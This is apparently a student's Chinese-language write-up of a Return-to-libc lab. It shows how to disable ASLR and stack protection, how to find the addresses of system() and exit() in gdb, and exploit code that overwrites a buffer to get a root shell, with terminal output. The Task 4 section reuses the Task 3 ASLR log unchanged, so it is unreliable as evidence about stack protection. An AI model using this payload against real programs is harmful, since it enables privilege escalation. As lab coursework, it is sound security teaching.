CLASS 9

Return to libc Lab

吴瑞欣-E41614059

1、环境搭建

关闭地址随机化：

```
sysctl -w kernel.randomize_va_space=0
```

关闭栈保护：

```
gcc -fno-stack-protector example.c
```

开启栈可执行：

```
gcc -z execstack -o test test.c
```

2、TASK1

查看/bin/sh 的地址：

```
[11/18/2018 03:03] seed@ubuntu:~/Desktop/lab9$ ./getenvaddr BIN_SH ./retlib
BIN_SH will be at 0xbffffe37
```

查看 system（）和 exit（）的地址：

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
```

填入攻击代码：

```
        strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16
times
        *(long *) &buf[32] = 0xbffffe37 ; // "//bin//sh"
        *(long *) &buf[24] = 0xb7e5f430 ; // system()
        *(long *) &buf[36] = 0xb7e52fb0 ; // exit()
        fwrite(buf, sizeof(buf), 1, badfile);
```

发起攻击：

```
[11/18/2018 03:24] seed@ubuntu:~/Desktop/lab9$ gcc -g -o exploit exploit.c
[11/18/2018 03:25] seed@ubuntu:~/Desktop/lab9$ ./exploit
[11/18/2018 03:25] seed@ubuntu:~/Desktop/lab9$ ./retlib
Segmentation fault (core dumped)
[11/18/2018 03:25] seed@ubuntu:~/Desktop/lab9$ gcc -g -o exploit exploit.c
[11/18/2018 03:26] seed@ubuntu:~/Desktop/lab9$ ./exploit
[11/18/2018 03:26] seed@ubuntu:~/Desktop/lab9$ ./retlib
#
```

```
times
        *(long *) &buf[32] = 0xbffffe37 ; // "//bin//sh"
        *(long *) &buf[24] = 0xb7e5f430 ; // system()
        *(long *) &buf[36] = 0xb7e52fb0 ; // exit()
        fwrite(buf, sizeof(buf), 1, badfile);
        fclose(badfile);
```

3、TASK3：开启地址随机化

开启地址随机化后无法用上题方法攻击成功

```
[11/18/2018 04:21] root@ubuntu:/home/seed/Desktop/lab9#  /sbin/sysctl -w kernel.
randomize_va_space=2
kernel.randomize_va_space = 2
[11/18/2018 04:21] root@ubuntu:/home/seed/Desktop/lab9# exit
exit
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ gcc -g -o exploit exploit.c
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ ./exploit
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ ./retlib
Segmentation fault (core dumped)
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$
```

4、TASK4、开启栈保护

开启栈保护后无法用上题方法攻击成功

```
[11/18/2018 04:21] root@ubuntu:/home/seed/Desktop/lab9#  /sbin/sysctl -w kernel.
randomize_va_space=2
kernel.randomize_va_space = 2
[11/18/2018 04:21] root@ubuntu:/home/seed/Desktop/lab9# exit
exit
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ gcc -g -o exploit exploit.c
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ ./exploit
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$ ./retlib
Segmentation fault (core dumped)
[11/18/2018 04:21] seed@ubuntu:~/Desktop/lab9$
```

5、加大难度，利用 ret2libc 运行下面三个函数：

System(“/usr/bin/id”);

Setuid(0);

System(“/bin/sh”)

这周期中考试，没有充足时间钻研，这道附加题对我略难，未能在规定时间做出，很难受。